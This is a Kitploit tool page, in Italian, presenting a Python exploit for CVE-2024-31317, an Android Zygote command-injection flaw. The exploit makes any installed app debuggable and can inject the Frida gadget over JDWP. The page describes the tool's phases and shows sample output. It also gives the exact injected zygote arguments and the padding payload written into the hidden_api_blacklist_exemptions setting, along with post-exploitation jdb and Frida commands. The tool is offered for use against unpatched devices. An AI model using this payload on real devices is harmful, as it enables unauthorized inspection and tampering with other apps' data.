Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Debuggable-App-Exploit — CVE-2024-31317 Exploit di App Debuggabile | Kitploit
Strumenti/GitHubGitHub/cleov2/debuggable-app-exploit
Sicurezza AndroidAnalisi delle VulnerabilitàExploitFuzzingSicurezza MobileApprendimento e FormazioneSviluppo PayloadBinary Exploitation
GitHubcleov2/debuggable-app-exploit

Debuggable-App-Exploit

CVE-2024-31317 Exploit di App Debuggabile

Vedi Repository
12397 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-31317 Exploit di App Debuggabile

Un exploit basato su Python per CVE-2024-31317 (Iniezione Zygote Android) che rende qualsiasi app Android installata debuggabile iniettando argomenti zygote malevoli tramite l'impostazione hidden_api_blacklist_exemptions. Include iniezione opzionale del gadget Frida per hooking runtime.

Panoramica

Questo exploit sfrutta una vulnerabilità di command injection nel processo Zygote di Android per avviare le applicazioni target con il flag debuggable abilitato. Ciò consente il debug JDWP e l'ispezione di qualsiasi app senza bisogno di accesso root o della versione debug dell'app.

Basato sulla ricerca di: Analisi di Flanker su CVE-2024-31317

Intuizione chiave: "il campo runtime-flags in ZygoteArguments può effettivamente essere utilizzato per abilitare l'attributo debuggable di un'applicazione."

Caratteristiche

  • Modalità di rilevamento automatico - Rileva automaticamente UID, instruction set e directory dati dell'app target
  • Iniezione del flag debuggable - Imposta runtime-flags=65535 per abilitare il debug
  • Inoltro JDWP - Imposta automaticamente l'inoltro delle porte JDWP dopo l'exploit
  • Iniezione del gadget Frida - Opzionalmente inietta Frida per hooking runtime via JDWP
  • Breakpoint intelligenti - Utilizza breakpoint affidabili che si attivano automaticamente senza interazione dell'utente
  • Installazione automatica dell'app di debug - Installa l'app helper se non presente

Requisiti

  • Dispositivo Android vulnerabile a CVE-2024-31317 (patch di sicurezza precedente a giugno 2024)
  • ADB installato e debug USB abilitato
  • Python 3.10+
  • Pacchetti richiesti: ppadb, jdwplib

Installazione

Posiziona i seguenti file nella stessa directory:

├── CVE-2024-31317-Debuggable.py    # Script exploit principale
├── jdwplib.py                       # Libreria client JDWP
├── app-debug.apk                    # App helper debuggabile
├── frida-gadget-android-*.so        # Gadget Frida (opzionale)
├── frida-gadget.config.so           # Configurazione Frida (opzionale)
└── win32/adb.exe                    # Binario ADB per Windows

Utilizzo

Utilizzo base

python CVE-2024-31317-Debuggable.py

Lo script ti chiederà di selezionare una modalità di rilevamento dei parametri:

==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Rilevamento automatico parametri
[2] Valori hardcoded

Modalità (1/2) [1]:

Cosa fa

  1. Fase 1: Estrazione startSeq

    • Avvia un'app helper debuggabile
    • Si connette tramite JDWP ed estrae il valore startSeq dai frame dello stack
    • Chiude l'app helper
  2. Fase 2: Iniezione degli argomenti Zygote

    • Costruisce argomenti zygote malevoli con runtime-flags=65535 (debuggable)
    • Inietta il payload nell'impostazione hidden_api_blacklist_exemptions
    • Forza l'arresto e riavvia l'app target con argomenti iniettati
  3. Fase 3: Post-sfruttamento

    • Imposta l'inoltro delle porte JDWP
    • Opzionalmente inietta il gadget Frida per hooking runtime

Esempio di output

==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Rilevamento automatico parametri
[2] Valori hardcoded

Modalità (1/2) [1]: 1

[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701

Inject Frida? (y/N):

Configurazione

App target

Modifica le costanti in cima allo script:

TARGET_APP = "com.debug.configurator"  # Modifica con il pacchetto target
DEBUG_APP = "com.debug.app"            # App helper debuggabile
DEBUG_APK = "app-debug.apk"            # File APK per l'app helper

Rilevamento automatico vs Valori hardcoded

Modalità di rilevamento automatico (consigliata):

  • Utilizza pm list packages -U per ottenere UID
  • Utilizza dumpsys package per ottenere instruction set e directory dati
  • Più affidabile su dispositivi diversi

Modalità hardcoded:

  • Utilizza valori predefiniti (UID=10242, arm64, ecc.)
  • Più veloce ma meno affidabile se il dispositivo differisce dai valori predefiniti

Iniezione del gadget Frida

Dopo che l'exploit ha successo, puoi opzionalmente iniettare il gadget Frida:

Inject Frida? (y/N): y

Lo script farà:

  1. Inviare frida-gadget.so a /data/local/tmp/
  2. Copiarlo nella directory dati dell'app tramite run-as
  3. Impostare un breakpoint e caricare il gadget via JDWP
  4. Inoltrare le porte 27042 e 27043

Breakpoint target

Lo script prova questi breakpoint in ordine di affidabilità:

ClasseMetodoAttivatore
android.os.MessageQueuenextAutomatico - il looper principale interroga costantemente
android.os.BinderexecTransactAutomatico - qualsiasi chiamata IPC/binder
android.app.ActivityThreadhandleMessageAutomatico - handler principale dell'app
android.os.HandlerdispatchMessageAutomatico - invio messaggi
android.os.HandlerhandleMessageAutomatico - gestione messaggi
android.view.ChoreographerdoFrameAutomatico - callback frame
android.view.ViewdispatchTouchEventManuale - richiede tocco
android.view.ViewonDrawManuale - richiede ridisegno UI

I breakpoint principali dovrebbero attivarsi automaticamente. Se scade il timeout, tocca l'app per attivare i breakpoint di riserva.

Connessione a Frida

Dopo un'iniezione riuscita:

# Connettiti al gadget
frida -H 127.0.0.1:27042 -n Gadget

# Elenca i processi
frida-ps -H 127.0.0.1:27042

Dopo lo sfruttamento

Una volta che l'exploit ha successo, l'app target è in esecuzione con debug abilitato:

  1. Connettiti con il debugger JDWP:

    jdb -attach localhost:8701
    
  2. Usa il debugger di Android Studio - Collega al processo sulla porta inoltrata

  3. Usa Frida - Se il gadget è stato iniettato tramite lo script

Come funziona

Panoramica della vulnerabilità

CVE-2024-31317 è una vulnerabilità di command injection nel processo Zygote di Android. Manipolando l'impostazione di sistema hidden_api_blacklist_exemptions con input appositamente predisposti, possiamo iniettare argomenti zygote arbitrari all'avvio di un'app.

Componenti chiave

  1. Estrazione startSeq: Ogni avvio di app ha un numero di sequenza unico. Lo estraiamo da un'app debuggabile tramite JDWP ispezionando le variabili dei frame dello stack.

  2. Costruzione del payload: Costruiamo argomenti zygote includendo:

    --runtime-args
    --setuid=<uid_target>
    --setgid=<gid_target>
    --runtime-flags=65535      # Abilita tutti i flag di debug
    --mount-external-default
    --target-sdk-version=35
    --setgroups=3003
    --nice-name=<pacchetto>
    --seinfo=default:targetSdkVersion=30:complete
    --instruction-set=<arch>
    --app-data-dir=<dir_dati>
    --package-name=<pacchetto>
    --is-top-app
    --bind-mount-data-dirs
    android.app.ActivityThread
    seq=<startSeq+1>
    
  3. Iniezione: Il payload è iniettato nell'impostazione di sistema con padding specifico per Android 12+:

    payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
    
  4. Attivazione: Forza l'arresto e riavvia l'app target, che si avvia con i nostri argomenti iniettati e il flag debuggable abilitato.

Scarica lo strumento